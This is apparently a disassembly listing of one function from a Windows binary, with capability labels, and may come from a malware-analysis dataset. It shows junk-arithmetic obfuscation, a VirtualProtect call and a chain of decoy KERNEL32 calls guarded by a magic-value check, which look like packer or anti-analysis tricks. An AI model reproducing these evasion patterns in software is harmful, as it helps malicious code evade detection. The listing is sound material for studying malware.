Function at 0x180004100
Capabilities:
Copy file
Get system firmware table
Get uefi variable

Disassembly:
sub rsp, 0x58
mov dword [rsp + 0x30], 0x138
mov dword [rsp + 0x38], 0xce4
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x3c], 0x2535
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x40], 0x1c64
mov eax, dword [rsp + 0x38]
sub eax, 0x1856
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x40]
sub eax, 0xa9b
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
je 0x180004194
cmp dword [rsp + 0x3c], 0
jle 0x180004194
mov eax, dword [rsp + 0x3c]
sub eax, 0x1a69
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x2347
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x34]
sub eax, 0x1339
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x38]
add eax, 0x1295
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x34]
add eax, 0xeaf
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x48], 0
jmp 0x1800041fc
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0x58
jge 0x180004210
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
jmp 0x1800041f2
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
sub eax, 0x1f68
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x40]
add eax, 0x1dbc
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
sub eax, 0x2449
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
sub eax, 0x1d65
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x38]
add eax, 0x16ec
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x3c]
sub eax, 0x1d39
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
add eax, 0x383
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
je 0x1800042d9
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
jmp 0x1800042bb
mov eax, dword [rsp + 0x34]
add eax, 0x2659
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
sub eax, 0x24a8
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x40]
sub eax, 0x123c
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x3c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x18000434f
mov eax, dword [rsp + 0x3c]
sub eax, 0x14f5
mov dword [rsp + 0x3c], eax
jmp 0x18000435c
mov eax, dword [rsp + 0x3c]
add eax, 0x14f5
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x34]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x180004392
cmp dword [rsp + 0x34], 0
jle 0x180004392
mov eax, dword [rsp + 0x34]
add eax, 0x102e
mov dword [rsp + 0x34], eax
jmp 0x18000439f
mov eax, dword [rsp + 0x34]
sub eax, 0x102e
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
add eax, 0x18fe
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x38]
add eax, 0x90e
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x1f7d
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x34]
sub eax, 0x8d5
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x96b
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x40]
add eax, 0x26c4
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x3c]
add eax, 0x1f25
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x38]
sub eax, 0x842
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x30]
add eax, 0x2635
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x1800044b8
cmp dword [rsp + 0x30], 0
jle 0x1800044b8
mov eax, dword [rsp + 0x30]
sub eax, 0x1996
mov dword [rsp + 0x30], eax
mov eax, dword [0x18007ada0]
lea r9, [0x18007ada8]
mov r8d, dword [0x18007ada8]
mov edx, eax
mov rcx, qword [0x18007adb8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x18007ada4]
mov ecx, 0x82ca6e1c
cmp rax, rcx
jne 0x180004672
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_NeedCurrentDirectoryForExePathW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSizeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessorSystemCycleTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
xor edx, edx
lea rcx, str.DJovlTNQULSZVXaeEqsrBCtq
call qword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CopyFileExW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1800276e0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddScopedPolicyIDAce]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FatalExit]
add rsp, 0x58
ret